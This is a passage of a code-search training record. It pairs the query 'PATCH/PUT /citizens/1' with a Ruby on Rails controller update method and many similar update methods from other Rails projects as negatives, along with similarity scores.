"0.52192414",
"0.5211032",
"0.5208988",
"0.51981604",
"0.5195461",
"0.518891",
"0.5187466",
"0.51755685",
"0.51745355",
"0.51745355",
"0.51702756",
"0.51669896",
"0.51633006",
"0.5161016",
"0.5160151",
"0.5157541",
"0.5157154",
"0.5148786",
"0.5145809",
"0.5144824",
"0.5144204",
"0.51377153",
"0.51372683",
"0.5132527",
"0.51305413",
"0.5129749",
"0.51271325",
"0.512139",
"0.51194745",
"0.51180446",
"0.51143706",
"0.5111928",
"0.5111193",
"0.5109761",
"0.5106238",
"0.51035583",
"0.5102734",
"0.5101664",
"0.50953746",
"0.50942004"
] |
0.0
|
-1
|
PATCH/PUT /citizens/1 PATCH/PUT /citizens/1.json
|
def update
respond_to do |format|
if @citizen.update(citizen_params)
format.html { redirect_to @citizen, notice: 'Profession changed.' }
format.json { render :show, status: :ok, location: @citizen }
else
format.html { render :edit }
format.json { render json: @citizen.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n if @clonet.update_attributes(params[:clonet])\n format.html { redirect_to @clonet, notice: 'Clonet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @citacao.update(citacao_params)\n format.html { redirect_to @citacao, notice: 'Citacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @citacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @civil_citation.update(civil_citation_params)\n format.html { redirect_to @civil_citation, notice: 'Civil citation was successfully updated.' }\n format.json { render :show, status: :ok, location: @civil_citation }\n else\n format.html { render :edit }\n format.json { render json: @civil_citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @citation.update(citation_params)\n render :show, status: :ok, location: @citation\n else\n render json: @citation.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @citation.update(citation_params)\n format.html { redirect_to @citation.citation_object.metamorphosize, notice: 'Citation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Citation was NOT successfully updated.' }\n format.json { render json: @citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @citation.update(citation_params)\n format.html { redirect_to @citation, notice: 'Citation was successfully updated.' }\n format.json { render :show, status: :ok, location: @citation }\n else\n format.html { render :edit }\n format.json { render json: @citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n @crime = Crime.find(params[:id])\n\n respond_to do |format|\n if @crime.update_attributes(params[:crime])\n format.html { redirect_to @crime, notice: 'Crime was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_citizen\n\t\tif @citizens.any?\n\t\t\tvoter_id = get_voter_id\n\t\t\tif citizen = @citizens.select{ |whose| whose.voter_id == voter_id }.pop\n\t\t\t\tcitizen.update_name\t\n\t\t\t\tcase citizen\n\t\t\t\twhen Person then citizen.update_politics\n\t\t\t\twhen Politician then citizen.update_party\t\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"Citizen not found!\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"No citizens yet!\"\n\t\tend\n\tend",
"def update\n @cvi = Cvi.find(params[:id])\n @people = Person.all\n\n respond_to do |format|\n if @cvi.update_attributes(params[:cvi])\n format.html { redirect_to @cvi, notice: 'Cvi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cvi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n if @critic.update_attributes(params[:critic])\n format.html { redirect_to @critic, notice: 'Critic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n if @clinician.update_attributes(params[:clinician])\n format.html { redirect_to @clinician, notice: 'Clinician was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\nlogger.debug \"update discipline: \"+@discipline.inspect\n discipline_params.each_pair do |property,value|\n @discipline.send(property+'=',value)if @discipline.respond_to?(property+'=')\n end\n @discipline.updater_id = current_user\n if @discipline.save\n set_discipline\n #respond_with @discipline\n render json: @discipline, status: :ok\n else\n ##render json: @discipline.errors, status: :unprocessable_entity\n respond_with @discipline.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @cict.update(cict_params)\n format.html { redirect_to @cict, notice: 'Cict was successfully updated.' }\n format.json { render :show, status: :ok, location: @cict }\n else\n format.html { render :edit }\n format.json { render json: @cict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cerc = Cerc.find(params[:id])\n\n if @cerc.update_attributes(params[:cerc])\n head :no_content\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @citum.update(citum_params)\n format.html { redirect_to @citum, notice: 'La cita se registro correctamente.' }\n format.json { render :show, status: :ok, location: @citum }\n else\n format.html { render :edit }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize :question_resquest_criminal, :update?\n respond_to do |format|\n if @question_resquest_criminal.update(question_resquest_criminal_params)\n format.html { redirect_to @question_resquest_criminal, notice: 'Question resquest criminal was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_resquest_criminal }\n else\n format.html { render :edit }\n format.json { render json: @question_resquest_criminal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @court = Court.find(params[:id])\n\n respond_to do |format|\n if @court.update_attributes(params[:court])\n format.html { redirect_to @court, notice: 'Court was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n cri = @crime_thief.crime_id\n cre = Crime.where(id:cri).first\n respond_to do |format|\n if @crime_thief.update(crime_thief_params)\n format.html { redirect_to cre, notice: 'Cambio de estado exitoso!' }\n format.json { render :show, status: :ok, location: @crime_thief }\n else\n format.html { render :edit }\n format.json { render json: @crime_thief.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @citizen_form.update(citizen_form_params)\n format.html { redirect_to @citizen_form, notice: 'Citizen form was successfully updated.' }\n format.json { render :show, status: :ok, location: @citizen_form }\n else\n format.html { render :edit }\n format.json { render json: @citizen_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:cit_ids].present?\n params[:cit_ids].each do |id|\n chit = Footnote.find(id)\n chit.destroy\n end\n end\n if params[:biblioentries_ids].present?\n params[:biblioentries_ids].each do |id|\n biblio = Biblioentry.find(id)\n footnote = Footnote.create(slug: '', body: biblio.name, biblioentry_id: id)\n footnote.noted = @chapter\n footnote.save\n end\n end\n\n respond_to do |format|\n# format.html do\n# redirect_to chapter_citations_url(chapter_id: @chapter.id), notice: 'Citations were successfully updated.'\n# end\n format.json { render :show, status: :ok, location: @citation }\n flash.now[:notice] = \"Citation was successfully updated.\"\n format.turbo_stream do\n do_index\n render \"citations/index\", locals: { object: Footnote.new, objects: @citations }\n end\n end\n end",
"def update\n @research_c = ResearchC.find(params[:id])\n\n respond_to do |format|\n if @research_c.update_attributes(params[:research_c])\n format.html { redirect_to @research_c, notice: 'Research c was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @research_c.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n block_non_user\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @citum.update(citum_params)\n format.html { redirect_to @citum, notice: 'Cita actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @citum }\n else\n format.html { render :edit }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clint.update(clint_params)\n format.html { redirect_to @clint, notice: 'Clint was successfully updated.' }\n format.json { render :show, status: :ok, location: @clint }\n else\n format.html { render :edit }\n format.json { render json: @clint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @references_citation.update(references_citation_params)\n format.html { redirect_to @references_citation, notice: 'Citation was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @references_citation }\n else\n format.html { render action: 'edit' }\n format.json { render json: @references_citation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @colaboration = Colaboration.find(params[:id])\n @colaboration.user_id=current_user.id\n\n respond_to do |format|\n if @colaboration.update_attributes(params[:colaboration])\n format.html { redirect_to @colaboration, notice: 'Colaboracion actualizada exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colaboration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couche was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @collaborator = Collaborator.find(params[:id])\n\n respond_to do |format|\n if @collaborator.update_attributes(params[:collaborator])\n format.html { redirect_to @collaborator, notice: 'Collaborator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collaborator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @curnit = Curnit.find(params[:id])\n\n respond_to do |format|\n if @curnit.update_attributes(params[:curnit])\n format.html { redirect_to(@curnit, :notice => 'Curnit was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @curnit.errors, :status => :unprocessable_entity }\n format.json { render :json => @curnit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @crust = Crust.find(params[:id])\n\n respond_to do |format|\n if @crust.update_attributes(params[:crust])\n format.html { redirect_to @crust, notice: 'Crust was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crust.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n if @complaint.update_attributes(params[:complaint])\n format.html { redirect_to complaints_path}\n flash[:success] = 'Complaint was successfully updated.'\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @county = County.find(params[:id])\n\n respond_to do |format|\n if @county.update_attributes(params[:county])\n format.html { redirect_to @county, notice: 'County was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @county.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n if @recipy.update_attributes(params[:recipy])\n format.html { redirect_to @recipy, notice: 'Recipy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, :notice => 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n if @concour.update_attributes(params[:concour])\n format.html { redirect_to @concour, notice: 'Concour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contraindication.update(contraindication_params)\n format.html { redirect_to @contraindication, notice: 'Contraindication was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contraindication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @optin_contestant = OptinContestant.find(params[:id])\n\n respond_to do |format|\n if @optin_contestant.update_attributes(params[:optin_contestant])\n format.html { redirect_to @optin_contestant, notice: 'Optin contestant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @optin_contestant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n format.html { redirect_to @contest, notice: 'Contest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clinica.update(clinica_params)\n format.html { redirect_to @clinica, notice: 'Clinica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clinician.update(clinician_params)\n format.html { redirect_to @clinician, notice: 'Clinician was successfully updated.' }\n format.json { render :show, status: :ok, location: @clinician }\n else\n format.html { render :edit }\n format.json { render json: @clinician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @icome = Icome.find(params[:id])\n\n respond_to do |format|\n if @icome.update_attributes(params[:icome])\n format.html { redirect_to @icome, notice: 'Icome was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @icome.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @court_complex.update(court_complex_params)\n format.html { redirect_to @court_complex, notice: 'Court complex was successfully updated.' }\n format.json { render :show, status: :ok, location: @court_complex }\n else\n format.html { render :edit }\n format.json { render json: @court_complex.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n respond_to do |format|\n if @cof.update(cof_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n if @discipline.update_attributes(params[:discipline])\n format.html { redirect_to @discipline, notice: t(:discipline_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end",
"def update\n respond_to do |format|\n if @catched.update(catched_params)\n format.html { redirect_to @catched, notice: 'Catched was successfully updated.' }\n format.json { render :show, status: :ok, location: @catched }\n else\n format.html { render :edit }\n format.json { render json: @catched.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @intern = Intern.find(params[:id])\n\n respond_to do |format|\n if @intern.update_attributes(params[:intern])\n format.html { redirect_to @intern, notice: 'Intern was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intern.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @citation = Citation.find(params[:id])\n\n respond_to do |format|\n if @citation.update_attributes(params[:citation])\n flash[:notice] = 'Citation was successfully updated.'\n format.html { redirect_to(@citation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @citation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n if @coisa.update_attributes(params[:coisa])\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n if @clinicalsection.update_attributes(params[:clinicalsection])\n format.html { redirect_to clinicalsections_path, notice: 'Clinical specialty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinicalsection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couch was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n respond_to do |format|\n if @colaborator.update(colaborator_params)\n format.html { redirect_to @colaborator, notice: 'Colaborator was successfully updated.' }\n format.json { render :show, status: :ok, location: @colaborator }\n else\n format.html { render :edit }\n format.json { render json: @colaborator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n if @cofi.update_attributes(params[:cofi])\n format.html { redirect_to cofis_url, notice: 'Cofi was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cofi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @collaboration.update(collaboration_params)\n format.html { redirect_to @collaboration, notice: 'Collaboration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collaboration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #REQUIRES: existence of contest with :id\n #MODIFIES: the database\n #EFFECTS: updates the database with info about contest with \"id provided by user via 'edit.'\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n if @contest.update_attributes(params[:contest])\n flash[:notice] = 'Contest was successfully updated.'\n format.html { redirect_to(@contest) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Интересот е успешно ажуриран.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @civilization = Civilization.find(params[:id])\n\n respond_to do |format|\n if @civilization.update_attributes(params[:civilization])\n format.html { redirect_to @civilization, notice: 'Civilization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @civilization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @club = Club.find(params[:id])\n\n if @club.update_attributes(params[:club])\n head :no_content\n else\n render json: @club.errors, status: :unprocessable_entity\n end\n end",
"def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, notice: 'Interest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @recipe\n\n respond_to do |format|\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cocoon_example.update(cocoon_example_params)\n format.html { redirect_to @cocoon_example, notice: 'Cocoon example was successfully updated.' }\n format.json { render :show, status: :ok, location: @cocoon_example }\n else\n format.html { render :edit }\n format.json { render json: @cocoon_example.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thirtyfife.update(thirtyfife_params)\n format.html { redirect_to @thirtyfife, notice: 'Thirtyfive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thirtyfife.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @cabinet = Cabinet.find(params[:id])\n\n respond_to do |format|\n if @cabinet.update_attributes(params[:cabinet])\n format.html { redirect_to @cabinet, notice: 'Cabinet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cabinet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cuisin.update(cuisin_params)\n format.html { redirect_to @cuisin, notice: 'Cuisin was successfully updated.' }\n format.json { render :show, status: :ok, location: @cuisin }\n else\n format.html { render :edit }\n format.json { render json: @cuisin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @colaboradore\n respond_to do |format|\n if @colaboradore.update(colaboradore_params)\n format.html { redirect_to @colaboradore, notice: 'Colaborador actualizado.' }\n format.json { render :show, status: :ok, location: @colaboradore }\n else\n format.html { render :edit }\n format.json { render json: @colaboradore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract.update(update_params)\n format.html { redirect_to_leaf_notice(UPDATE_SUCCESS) }\n format.json { render :show, status: :ok, location: @contract }\n else\n unprocessable_response(format)\n end\n end\n end",
"def update\n # TODO: Add cron_str updating\n respond_to do |format|\n if @chore.update_attributes(params[:chore])\n format.html { redirect_to @chore, notice: 'Chore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @chore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coche.update(coche_params)\n format.html { redirect_to @coche, notice: 'Coche was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @coche.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @certification.update_attributes(params[:certification])\n format.html { redirect_to Certification, :notice => 'Certification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @certification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n if @csosn.update_attributes(params[:csosn])\n format.html { redirect_to @csosn, notice: 'Csosn was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @csosn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course.update(course_params)\n render_jsonapi_response(@course)\n end",
"def update\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n if @cita.update_attributes(params[:cita])\n format.html { redirect_to @cita, notice: 'Cita was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cita.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_collaborator = Admin::Collaborator.find(params[:id])\n\n respond_to do |format|\n if @admin_collaborator.update_attributes(params[:admin_collaborator])\n format.html { redirect_to @admin_collaborator, notice: 'Collaborator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_collaborator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contender = Contender.find(params[:id])\n\n respond_to do |format|\n if @contender.update_attributes(params[:contender])\n format.html { redirect_to @contender, notice: 'Contender was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contender.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @colaborattor.update(colaborattor_params)\n format.html { redirect_to colaborattors_path, notice: I18n.t('messages.updated_with', item: @colaborattor.colaborattorname) }\n format.json { render :show, status: :ok, location: @colaborattor }\n else\n format.html { render :edit }\n format.json { render json: @colaborattor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @coutline.update(coutline_params)\n format.html { redirect_to @coutline, notice: 'Coutline was successfully updated.' }\n format.json { render :show, status: :ok, location: @coutline }\n else\n format.html { render :edit }\n format.json { render json: @coutline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @casualcomment = Casualcomment.find(params[:id])\n\n respond_to do |format|\n if @casualcomment.update_attributes(params[:casualcomment])\n format.html { redirect_to @casualcomment, notice: 'Casualcomment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @casualcomment.errors, status: :unprocessable_entity }\n end\n end\n end",
